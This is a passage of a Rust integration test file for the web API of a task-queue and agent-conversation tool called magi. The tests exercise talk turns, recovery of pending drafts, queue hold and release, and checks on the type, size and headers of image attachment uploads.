5858 assert!(missing.json()["error"].is_string());
5859 }
5860
5861 #[tokio::test]
5868 async fn a_task_cannot_be_filed_over_the_phone_directly() {
5869 let f = Fixture::start().await;
5870
5871 let res = f
5872 .post(
5873 "/api/queue",
5874 Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
5875 )
5876 .await;
5877
5878 assert_eq!(
5879 res.status, 405,
5880 "POST /api/queue must not be a route: {}",
5881 res.body
5882 );
5883 assert!(
5884 f.queue().list().is_empty(),
5885 "a task filed by a route that does not exist must not reach the disk"
5886 );
5887 assert_eq!(f.get("/api/queue").await.status, 200);
5890 }
5891
5892 fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
5894 std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
5895 .expect("checkout dir");
5896 }
5897
5898 #[tokio::test]
5899 async fn repos_list_returns_name_and_path_for_every_configured_root() {
5900 let tmp = TempDir::new().expect("tempdir");
5901 let repo = tmp.path().join("repo");
5902 std::fs::create_dir_all(&repo).expect("repo dir");
5903 let root = tmp.path().join("root");
5904 make_checkout(&root, "github.com", "yukimemi", "magi");
5905 std::fs::write(
5906 repo.join("magi.toml"),
5907 format!(
5908 "[repos]\nroots = [{:?}]\n",
5909 root.to_string_lossy().into_owned()
5910 ),
5911 )
5912 .expect("write magi.toml");
5913
5914 let f = Fixture::with_repo(repo).await;
5915 let res = f.get("/api/repos").await;
5916 assert_eq!(res.status, 200, "{}", res.body);
5917 let list = res.json();
5918 let repos = list.as_array().expect("an array");
5919 assert_eq!(repos.len(), 1);
5920 assert_eq!(repos[0]["name"], "yukimemi/magi");
5921 assert!(
5922 repos[0]["path"]
5923 .as_str()
5924 .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
5925 "{list}"
5926 );
5927 }
5928
5929 #[tokio::test]
5930 async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
5931 let tmp = TempDir::new().expect("tempdir");
5932 let repo = tmp.path().join("repo");
5933 std::fs::create_dir_all(&repo).expect("repo dir");
5934 let root = tmp.path().join("root");
5935 make_checkout(&root, "github.com", "yukimemi", "magi");
5936 std::fs::write(
5937 repo.join("magi.toml"),
5938 format!(
5939 "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
5940 root.to_string_lossy().into_owned()
5941 ),
5942 )
5943 .expect("write magi.toml");
5944
5945 let f = Fixture::with_repo(repo).await;
5946 let first = f.get("/api/repos").await;
5947 assert_eq!(first.json().as_array().map(Vec::len), Some(1));
5948
5949 make_checkout(&root, "github.com", "yukimemi", "rvpm");
5952 let second = f.get("/api/repos").await;
5953 assert_eq!(
5954 second.json().as_array().map(Vec::len),
5955 Some(1),
5956 "a fresh cache must not rescan inside the TTL"
5957 );
5958
5959 let refreshed = f.get("/api/repos?refresh=1").await;
5960 assert_eq!(
5961 refreshed.json().as_array().map(Vec::len),
5962 Some(2),
5963 "an explicit refresh must rescan even inside the TTL"
5964 );
5965 }
5966
5967 const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
5973
5974 async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
5978 let tmp = TempDir::new().expect("tempdir");
5979 let repo = tmp.path().join("repo");
5980 std::fs::create_dir_all(&repo).expect("repo dir");
5981 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
5982 let f = Fixture::with_repo(repo.clone()).await;
5983 (tmp, repo, f)
5984 }
5985
5986 #[tokio::test]
5987 async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
5988 let (_tmp, _repo, f) = talk_fixture().await;
5989
5990 let opened = f.post("/api/talks", None).await;
5993 assert_eq!(opened.status, 201, "{}", opened.body);
5994 let body = opened.json();
5995 assert_eq!(body["status"], "open");
5996 assert_eq!(
5997 body["turns"].as_array().unwrap().len(),
5998 0,
5999 "opening takes no agent turn: there is nothing yet to answer"
6000 );
6001
6002 let also_opened = f.post("/api/talks", Some("{}")).await;
6004 assert_eq!(also_opened.status, 201, "{}", also_opened.body);
6005
6006 let listed = f.get("/api/talks").await.json();
6007 assert_eq!(listed.as_array().unwrap().len(), 2);
6008 }
6009
6010 #[tokio::test]
6011 async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
6012 let f = Fixture::start().await;
6013 let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
6014 let queue = f.queue();
6015 let mut mine = Task::new(
6016 "rename the loader".to_owned(),
6017 "rename the loader".to_owned(),
6018 PathBuf::from("/repo/magi"),
6019 Source::Agent {
6020 run: talk_id.clone(),
6021 node: "chat".to_owned(),
6022 },
6023 );
6024 queue.put(&mut mine).expect("file the task");
6025 let mut theirs = Task::new(
6026 "unrelated".to_owned(),
6027 "unrelated".to_owned(),
6028 PathBuf::from("/repo/magi"),
6029 Source::Human,
6030 );
6031 queue.put(&mut theirs).expect("file the task");
6032
6033 let res = f.get(&format!("/api/talks/{talk_id}")).await;
6034 assert_eq!(res.status, 200, "{}", res.body);
6035 let body = res.json();
6036 assert_eq!(
6037 body["status"], "open",
6038 "filing a task does not close a talk"
6039 );
6040 let tasks = body["tasks"].as_array().expect("tasks array");
6041 assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
6042 assert_eq!(tasks[0]["id"], mine.id);
6043 }
6044
6045 #[tokio::test]
6046 async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
6047 let (_tmp, _repo, f) = talk_fixture().await;
6048 let id = f.post("/api/talks", None).await.json()["id"]
6049 .as_str()
6050 .expect("id")
6051 .to_owned();
6052
6053 let res = f
6054 .post(
6055 &format!("/api/talks/{id}/say"),
6056 Some(r#"{"text":"what does the queue module do?"}"#),
6057 )
6058 .await;
6059 assert_eq!(res.status, 202, "{}", res.body);
6060 let queued = res.json();
6061 let turns = queued["turns"].as_array().expect("turns array");
6062 assert_eq!(
6063 turns.len(),
6064 1,
6065 "the answer reflects only what is on disk the instant it is sent, \
6066 before the agent's turn - which can run for the whole of \
6067 `[graph] timeout_talk` - has a chance to land: {queued}"
6068 );
6069 assert_eq!(turns[0]["who"], "operator");
6070 assert_eq!(turns[0]["body"], "what does the queue module do?");
6071 assert_eq!(
6072 queued["thinking"], true,
6073 "the accepted response exposes the background turn claim: {queued}"
6074 );
6075
6076 let mut turns_after = 1;
6077 for _ in 0..SETTLE_STEPS {
6078 let detail = f.get(&format!("/api/talks/{id}")).await.json();
6079 turns_after = detail["turns"].as_array().expect("turns array").len();
6080 if turns_after == 2 {
6081 break;
6082 }
6083 tokio::time::sleep(Duration::from_millis(10)).await;
6084 }
6085 assert_eq!(turns_after, 2, "the agent's reply eventually lands");
6086 }
6087
6088 #[tokio::test]
6115 async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
6116 let tmp = TempDir::new().expect("tempdir");
6117 let repo = tmp.path().join("repo");
6118 std::fs::create_dir_all(&repo).expect("repo dir");
6119 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
6120 let home = TempDir::new().expect("temp home");
6121 let talks = Talks::at(home.path().join("talks"));
6122 let ui = Arc::new(
6123 Ui::new(
6124 Queue::at(home.path().join("queue")),
6125 Questions::at(home.path().join("questions")),
6126 talks.clone(),
6127 home.path().join("runs"),
6128 home.path().to_path_buf(),
6129 repo.clone(),
6130 )
6131 .with_worktrees_root(home.path().join("wt")),
6132 );
6133 let cfg = config_for(&repo).await.expect("discover config");
6134
6135 for delay in 0..40u32 {
6136 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
6137 let id = talk.id.clone();
6138
6139 let handler = tokio::spawn(talk_say(
6140 State(Arc::clone(&ui)),
6141 Path(id.clone()),
6142 Ok(Json(NewTalkTurn {
6143 text: "what does the queue module do?".to_owned(),
6144 attachments: Vec::new(),
6145 })),
6146 ));
6147 tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
6148 handler.abort();
6149 let _ = handler.await;
6152
6153 let mut turns = 0;
6154 for _ in 0..SETTLE_STEPS {
6155 if let Ok(fresh) = talks.get(&id) {
6156 turns = fresh.turns.len();
6157 if turns != 1 {
6158 break;
6159 }
6160 }
6161 tokio::time::sleep(Duration::from_millis(10)).await;
6162 }
6163 assert_ne!(
6164 turns, 1,
6165 "delay {delay}: talk {id} recorded the operator's turn but \
6166 the agent never answered - the reply task was never \
6167 started after the handler future was dropped"
6168 );
6169 }
6170 }
6171
6172 #[tokio::test]
6217 async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
6218 let tmp = TempDir::new().expect("tempdir");
6219 let repo = tmp.path().join("repo");
6220 std::fs::create_dir_all(&repo).expect("repo dir");
6221 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
6222 let home = TempDir::new().expect("temp home");
6223 let talks = Talks::at(home.path().join("talks"));
6224 let ui = Arc::new(
6225 Ui::new(
6226 Queue::at(home.path().join("queue")),
6227 Questions::at(home.path().join("questions")),
6228 talks.clone(),
6229 home.path().join("runs"),
6230 home.path().to_path_buf(),
6231 repo.clone(),
6232 )
6233 .with_worktrees_root(home.path().join("wt")),
6234 );
6235 let cfg = config_for(&repo).await.expect("discover config");
6236
6237 for attempt in 0..3u32 {
6238 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
6239 let id = talk.id.clone();
6240 let turn_guard = ui
6243 .begin_talk_turn(&id)
6244 .expect("claim the turn")
6245 .expect("a fresh talk owes nobody a turn");
6246
6247 let (reached_tx, reached_rx) = tokio::sync::oneshot::channel();
6248 let (release_tx, release_rx) = std::sync::mpsc::channel();
6249 ui.set_busy_queue_gate(BusyQueueGate {
6250 reached: reached_tx,
6251 release: release_rx,
6252 });
6253
6254 let handler = tokio::spawn(talk_say(
6255 State(Arc::clone(&ui)),
6256 Path(id.clone()),
6257 Ok(Json(NewTalkTurn {
6258 text: "what does the queue module do?".to_owned(),
6259 attachments: Vec::new(),
6260 })),
6261 ));
6262
6263 tokio::time::timeout(Duration::from_secs(5), reached_rx)
6268 .await
6269 .unwrap_or_else(|_| {
6270 panic!(
6271 "attempt {attempt}: talk {id} never reached the busy branch's queue write"
6272 )
6273 })
6274 .expect("the busy branch dropped the gate without using it");
6275
6276 let running = talks.get(&id).expect("reload talk");
6283 drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
6284
6285 handler.abort();
6289 let _ = handler.await;
6290
6291 let _ = release_tx.send(());
6297
6298 let mut fresh = talks.get(&id).expect("reload talk");
6301 for _ in 0..SETTLE_STEPS {
6302 if fresh.pending.is_empty() && fresh.turns.len() == 2 {
6303 break;
6304 }
6305 tokio::time::sleep(Duration::from_millis(10)).await;
6306 fresh = talks.get(&id).expect("reload talk");
6307 }
6308 assert!(
6309 fresh.pending.is_empty() && fresh.turns.len() == 2,
6310 "attempt {attempt}: talk {id} left the operator's text queued \
6311 with no drainer - the reclaimed turn was dropped along with \
6312 the handler future (pending {:?}, {} turns)",
6313 fresh.pending,
6314 fresh.turns.len()
6315 );
6316 }
6317 }
6318
6319 #[tokio::test]
6320 async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
6321 let (_tmp, _repo, f) = talk_fixture().await;
6322 let id = f.post("/api/talks", None).await.json()["id"]
6323 .as_str()
6324 .expect("id")
6325 .to_owned();
6326 let store = f.talks();
6327 let mut recovered = store.get(&id).expect("opened talk");
6328 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
6329 .expect("persist pending draft without a live turn");
6330
6331 let edited = f
6332 .post(
6333 &format!("/api/talks/{id}/pending/edit"),
6334 Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
6335 )
6336 .await;
6337 assert_eq!(edited.status, 200, "{}", edited.body);
6338 assert!(edited.json()["thinking"].as_bool().unwrap());
6339
6340 let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
6341 for _ in 0..SETTLE_STEPS {
6342 if detail["turns"].as_array().expect("turns").len() == 2 {
6343 break;
6344 }
6345 tokio::time::sleep(Duration::from_millis(10)).await;
6346 detail = f.get(&format!("/api/talks/{id}")).await.json();
6347 }
6348 let turns = detail["turns"].as_array().expect("turns");
6349 assert_eq!(
6350 turns.len(),
6351 2,
6352 "the recovered draft must run once: {detail}"
6353 );
6354 assert_eq!(turns[0]["body"], "corrected");
6355 assert_eq!(detail["pending"], "");
6356 }
6357
6358 #[tokio::test]
6359 async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
6360 let tmp = TempDir::new().expect("tempdir");
6361 let repo = tmp.path().join("repo");
6362 std::fs::create_dir_all(&repo).expect("repo dir");
6363 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
6364 let f = Fixture::with_repo(repo).await;
6365 let id = f.post("/api/talks", None).await.json()["id"]
6366 .as_str()
6367 .expect("id")
6368 .to_owned();
6369 let store = f.talks();
6370 let mut recovered = store.get(&id).expect("opened talk");
6371 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
6372 .expect("persist pending draft without a live turn");
6373
6374 let refused = f
6375 .post(
6376 &format!("/api/talks/{id}/say"),
6377 Some(r#"{"text":"new message"}"#),
6378 )
6379 .await;
6380 assert_eq!(refused.status, 409, "{}", refused.body);
6381 assert!(refused.body.contains("resume"), "{}", refused.body);
6382 let saved = store.get(&id).expect("draft remains after refusal");
6383 assert!(saved.turns.is_empty());
6384 assert_eq!(saved.pending, "saved before restart");
6385
6386 let say_path = format!("/api/talks/{id}/say");
6387 let (first, second) = tokio::join!(
6388 f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
6389 f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
6390 );
6391 assert_eq!(first.status, 409, "{}", first.body);
6392 assert_eq!(second.status, 409, "{}", second.body);
6393 let saved = store
6394 .get(&id)
6395 .expect("draft remains after concurrent refusals");
6396 assert!(saved.turns.is_empty());
6397 assert_eq!(saved.pending, "saved before restart");
6398
6399 let resumed = f
6400 .post(&format!("/api/talks/{id}/pending/resume"), None)
6401 .await;
6402 assert_eq!(resumed.status, 202, "{}", resumed.body);
6403 let duplicate = f
6404 .post(&format!("/api/talks/{id}/pending/resume"), None)
6405 .await;
6406 assert_eq!(duplicate.status, 409, "{}", duplicate.body);
6407
6408 for _ in 0..SETTLE_STEPS {
6409 if store.get(&id).expect("talk").turns.len() == 2 {
6410 break;
6411 }
6412 tokio::time::sleep(Duration::from_millis(10)).await;
6413 }
6414 let finished = store.get(&id).expect("finished talk");
6415 assert_eq!(finished.turns.len(), 2, "{finished:?}");
6416 assert_eq!(finished.turns[0].body, "saved before restart");
6417 assert!(finished.pending.is_empty());
6418 }
6419
6420 #[tokio::test]
6421 async fn an_image_only_recovered_draft_resumes_without_text() {
6422 let (_tmp, _repo, f) = talk_fixture().await;
6423 let id = f.post("/api/talks", None).await.json()["id"]
6424 .as_str()
6425 .expect("id")
6426 .to_owned();
6427 let uploaded = f
6428 .post_bytes(
6429 &format!("/api/talks/{id}/attachments"),
6430 &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
6431 PNG_BYTES,
6432 )
6433 .await;
6434 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
6435 let attachment = f
6436 .talks()
6437 .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
6438 .expect("attachment metadata")
6439 .expect("stored attachment");
6440 let store = f.talks();
6441 let mut recovered = store.get(&id).expect("opened talk");
6442 talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
6443
6444 let resumed = f
6445 .post(&format!("/api/talks/{id}/pending/resume"), None)
6446 .await;
6447 assert_eq!(resumed.status, 202, "{}", resumed.body);
6448 for _ in 0..SETTLE_STEPS {
6449 if store.get(&id).expect("talk").turns.len() == 2 {
6450 break;
6451 }
6452 tokio::time::sleep(Duration::from_millis(10)).await;
6453 }
6454 let finished = store.get(&id).expect("finished talk");
6455 assert_eq!(finished.turns.len(), 2, "{finished:?}");
6456 assert!(finished.turns[0].body.is_empty());
6457 assert_eq!(finished.turns[0].attachments.len(), 1);
6458 assert!(finished.pending_attachments.is_empty());
6459 }
6460
6461 #[tokio::test]
6462 async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
6463 let (_tmp, _repo, f) = talk_fixture().await;
6464 let id = f.post("/api/talks", None).await.json()["id"]
6465 .as_str()
6466 .expect("id")
6467 .to_owned();
6468 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
6469 assert_eq!(closed.status, 200, "{}", closed.body);
6470 let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
6471 .expect("serialize closed talk");
6472 for (path, body) in [
6473 (format!("/api/talks/{id}/pending/resume"), None),
6474 (
6475 format!("/api/talks/{id}/pending/clear"),
6476 Some(r#"{"expected_text":"","expected_attachments":[]}"#),
6477 ),
6478 (
6479 format!("/api/talks/{id}/pending/edit"),
6480 Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
6481 ),
6482 (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
6483 ] {
6484 let response = f.post(&path, body).await;
6485 assert_eq!(response.status, 409, "{}", response.body);
6486 }
6487 let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
6488 .expect("serialize closed talk");
6489 assert_eq!(
6490 after_clear, before_clear,
6491 "clear must not rewrite a closed talk"
6492 );
6493 }
6494
6495 const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 0.3 && printf ok\"]\n";
6498
6499 #[tokio::test]
6500 async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
6501 let tmp = TempDir::new().expect("tempdir");
6502 let repo = tmp.path().join("repo");
6503 std::fs::create_dir_all(&repo).expect("repo dir");
6504 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
6505 let f = Fixture::with_repo(repo).await;
6506 let id_a = f.post("/api/talks", None).await.json()["id"]
6507 .as_str()
6508 .unwrap()
6509 .to_owned();
6510 let id_b = f.post("/api/talks", None).await.json()["id"]
6511 .as_str()
6512 .unwrap()
6513 .to_owned();
6514
6515 let a = f
6516 .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
6517 .await;
6518 assert_eq!(a.status, 202, "{}", a.body);
6519 assert_eq!(a.json()["thinking"], true);
6520 let b = f
6521 .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
6522 .await;
6523 assert_eq!(b.status, 202, "{}", b.body);
6524 assert_eq!(b.json()["thinking"], true);
6525
6526 let listed = f.get("/api/talks").await.json();
6527 for id in [&id_a, &id_b] {
6528 let view = listed
6529 .as_array()
6530 .unwrap()
6531 .iter()
6532 .find(|talk| talk["id"] == *id)
6533 .unwrap();
6534 assert_eq!(view["thinking"], true, "{listed}");
6535 }
6536 let repeated = f
6537 .post(
6538 &format!("/api/talks/{id_a}/say"),
6539 Some(r#"{"text":"again"}"#),
6540 )
6541 .await;
6542 assert_eq!(repeated.status, 202, "{}", repeated.body);
6543 assert_eq!(repeated.json()["pending"], "again");
6544 }
6545
6546 const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
6549
6550 #[tokio::test]
6551 async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
6552 let f = Fixture::start().await;
6553 let id = seed_talk(&f, "20260905-000000-a1b2", "open");
6554
6555 let res = f
6556 .post_bytes(
6557 &format!("/api/talks/{id}/attachments"),
6558 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
6559 PNG_BYTES,
6560 )
6561 .await;
6562 assert_eq!(res.status, 201, "{}", res.body);
6563 let body = res.json();
6564 assert_eq!(body["name"], "shot.png");
6565 assert_eq!(body["mime"], "image/png");
6566 assert_eq!(body["bytes"], PNG_BYTES.len());
6567 let att_id = body["id"].as_str().expect("id").to_owned();
6568 assert_eq!(
6569 att_id.len(),
6570 32,
6571 "the id must never be a client-suppliable path: {att_id}"
6572 );
6573
6574 let got = f
6575 .get(&format!("/api/talks/{id}/attachments/{att_id}"))
6576 .await;
6577 assert_eq!(got.status, 200, "{}", got.body);
6578 assert_eq!(got.header("content-type"), Some("image/png"));
6579 assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
6580 assert_eq!(got.bytes, PNG_BYTES);
6581 }
6582
6583 #[tokio::test]
6584 async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
6585 let f = Fixture::start().await;
6586 let id = seed_talk(&f, "20260905-000000-c3d4", "open");
6587
6588 let svg = f
6591 .post_bytes(
6592 &format!("/api/talks/{id}/attachments"),
6593 &[("Content-Type", "image/svg+xml")],
6594 b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
6595 )
6596 .await;
6597 assert!(
6598 (400..500).contains(&svg.status),
6599 "svg must be refused: {} {}",
6600 svg.status,
6601 svg.body
6602 );
6603 assert!(svg.body.contains("SVG"), "{}", svg.body);
6604
6605 let text = f
6606 .post_bytes(
6607 &format!("/api/talks/{id}/attachments"),
6608 &[("Content-Type", "text/plain")],
6609 b"just some text",
6610 )
6611 .await;
6612 assert!(
6613 (400..500).contains(&text.status),
6614 "an unlisted type must be refused: {} {}",
6615 text.status,
6616 text.body
6617 );
6618
6619 let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
6622 let big = f
6623 .post_bytes(
6624 &format!("/api/talks/{id}/attachments"),
6625 &[("Content-Type", "image/png")],
6626 &oversized,
6627 )
6628 .await;
6629 assert_eq!(
6630 big.status,
6631 StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
6632 "{}",
6633 big.body
6634 );
6635 }
6636
6637 #[tokio::test]
6638 async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
6639 let f = Fixture::start().await;
6640 let id = seed_talk(&f, "20260905-000000-d4e5", "open");
6641
6642 let res = f
6645 .post_bytes(
6646 &format!("/api/talks/{id}/attachments"),
6647 &[("Content-Type", "image/png")],
6648 b"<html>not a picture</html>",
6649 )
6650 .await;
6651 assert!((400..500).contains(&res.status), "{}", res.body);
6652 }
6653
6654 #[tokio::test]
6655 async fn an_unknown_attachment_id_is_a_404() {
6656 let f = Fixture::start().await;
6657 let id = seed_talk(&f, "20260905-000000-e5f6", "open");
6658
6659 let res = f
6660 .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
6661 .await;
6662 assert_eq!(res.status, 404, "{}", res.body);
6663 }
6664
6665 #[tokio::test]
6666 async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
6667 let f = Fixture::start().await;
6668 let id = seed_talk(&f, "20260905-000000-f6a7", "open");
6669
6670 let uploaded = f
6671 .post_bytes(
6672 &format!("/api/talks/{id}/attachments"),
6673 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
6674 PNG_BYTES,
6675 )
6676 .await;
6677 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
6678 let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
6679
6680 let res = f
6681 .post(
6682 &format!("/api/talks/{id}/say"),
6683 Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
6684 )
6685 .await;
6686 assert_eq!(res.status, 202, "{}", res.body);
6687 let queued = res.json();
6688 let turns = queued["turns"].as_array().expect("turns array");
6689 assert_eq!(
6690 turns.len(),
6691 1,
6692 "an empty body with an attachment is still a turn: {queued}"
6693 );
6694 assert_eq!(turns[0]["who"], "operator");
6695 assert_eq!(turns[0]["body"], "");
6696 let atts = turns[0]["attachments"]
6697 .as_array()
6698 .expect("attachments array");
6699 assert_eq!(atts.len(), 1);
6700 assert_eq!(atts[0]["id"], att_id);
6701 assert_eq!(atts[0]["mime"], "image/png");
6702
6703 let on_disk = f.talks().get(&id).expect("get");
6706 assert_eq!(on_disk.turns[0].attachments.len(), 1);
6707 assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
6708 }
6709
6710 #[tokio::test]
6711 async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
6712 let f = Fixture::start().await;
6713 let id = seed_talk(&f, "20260905-000000-a7b8", "open");
6714
6715 let res = f
6716 .post(
6717 &format!("/api/talks/{id}/say"),
6718 Some(&format!(
6719 r#"{{"text":"hi","attachments":["{}"]}}"#,
6720 "a".repeat(32)
6721 )),
6722 )
6723 .await;
6724 assert!((400..500).contains(&res.status), "{}", res.body);
6725 assert!(res.body.contains("unknown attachment"), "{}", res.body);
6726
6727 let on_disk = f.talks().get(&id).expect("get");
6728 assert!(
6729 on_disk.turns.is_empty(),
6730 "a rejected attachment id must not partially record the turn: {:?}",
6731 on_disk.turns
6732 );
6733 }
6734
6735 #[tokio::test]
6736 async fn talk_close_makes_the_talk_refuse_further_turns() {
6737 let f = Fixture::start().await;
6738 let id = seed_talk(&f, "20260904-014455-cd34", "open");
6739
6740 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
6741 assert_eq!(closed.status, 200, "{}", closed.body);
6742 assert_eq!(closed.json()["status"], "closed");
6743
6744 let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
6746 assert_eq!(closed_again.status, 200);
6747 assert_eq!(closed_again.json()["status"], "closed");
6748
6749 let said = f
6750 .post(
6751 &format!("/api/talks/{id}/say"),
6752 Some(r#"{"text":"too late"}"#),
6753 )
6754 .await;
6755 assert_eq!(said.status, 409, "{}", said.body);
6756 }
6757
6758 #[tokio::test]
6759 async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
6760 let (_tmp, _repo, f) = talk_fixture().await;
6761 let id = f.post("/api/talks", None).await.json()["id"]
6762 .as_str()
6763 .expect("id")
6764 .to_owned();
6765 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
6766 assert_eq!(closed.status, 200, "{}", closed.body);
6767
6768 let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
6769 assert_eq!(reopened.status, 200, "{}", reopened.body);
6770 assert_eq!(reopened.json()["status"], "open");
6771
6772 let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
6774 assert_eq!(reopened_again.status, 200);
6775 assert_eq!(reopened_again.json()["status"], "open");
6776
6777 let said = f
6778 .post(
6779 &format!("/api/talks/{id}/say"),
6780 Some(r#"{"text":"still there?"}"#),
6781 )
6782 .await;
6783 assert_eq!(
6784 said.status, 202,
6785 "a reopened talk accepts turns again: {}",
6786 said.body
6787 );
6788 }
6789
6790 #[tokio::test]
6791 async fn talk_reopen_on_an_unknown_id_is_404() {
6792 let f = Fixture::start().await;
6793 let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
6794 assert_eq!(res.status, 404, "{}", res.body);
6795 }
6796
6797 #[tokio::test]
6798 async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
6799 let f = Fixture::start().await;
6800 let id = seed_talk(&f, "20260904-014455-ef56", "closed");
6801
6802 let deleted = f.delete(&format!("/api/talks/{id}")).await;
6803 assert_eq!(deleted.status, 204, "{}", deleted.body);
6804
6805 let after = f.get(&format!("/api/talks/{id}")).await;
6806 assert_eq!(after.status, 404, "{}", after.body);
6807
6808 let listed = f.get("/api/talks").await.json();
6809 assert!(
6810 listed.as_array().unwrap().iter().all(|t| t["id"] != id),
6811 "a deleted talk must not linger in the list: {listed}"
6812 );
6813 }
6814
6815 #[tokio::test]
6816 async fn talk_delete_on_an_unknown_id_is_404() {
6817 let f = Fixture::start().await;
6818 let res = f.delete("/api/talks/nonexistent-id").await;
6819 assert_eq!(res.status, 404, "{}", res.body);
6820 }
6821
6822 #[tokio::test]
6823 async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
6824 let f = Fixture::start().await;
6825 let queue = f.queue();
6826 let mut task = Task::new(
6827 "spent".to_owned(),
6828 "Try again".to_owned(),
6829 PathBuf::from("/repo/magi"),
6830 Source::Human,
6831 );
6832 task.start("20260902-140502-bbbb".to_owned());
6833 task.fail("agent gave up", 9);
6834 queue.put(&mut task).expect("file the task");
6835
6836 let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
6837 assert_eq!(held.status, 200);
6838 assert_eq!(held.json()["status_str"], "held");
6839
6840 let released = f
6841 .post(&format!("/api/queue/{}/release", task.id), None)
6842 .await;
6843 assert_eq!(released.status, 200);
6844 assert_eq!(released.json()["status_str"], "queued");
6845 assert_eq!(
6846 released.json()["attempts"],
6847 0,
6848 "release is a real second chance, not an instant re-hold"
6849 );
6850 assert_eq!(
6851 queue.get(&task.id).expect("reload").status,
6852 TaskStatus::Queued,
6853 "the change is on disk, not only in the reply"
6854 );
6855 assert!(
6856 !f.home
6857 .path()
6858 .join("queue")
6859 .join(format!("{}.lock", task.id))
6860 .exists(),
6861 "the claim the mutation took is released again"
6862 );
6863 }
6864
6865 #[tokio::test]
6866 async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
6867 let f = Fixture::start().await;
6868 let queue = f.queue();
6869 let mut task = Task::new(
6870 "busy".to_owned(),
6871 "Running right now".to_owned(),
6872 PathBuf::from("/repo/magi"),
6873 Source::Human,
6874 );
6875 queue.put(&mut task).expect("file the task");
6876 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
6877
6878 let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
6879
6880 assert_eq!(res.status, 409);
6881 assert_eq!(
6882 queue.get(&task.id).expect("reload").status,
6883 TaskStatus::Queued,
6884 "the refused hold changed nothing"
6885 );
6886 }
6887
6888 #[tokio::test]
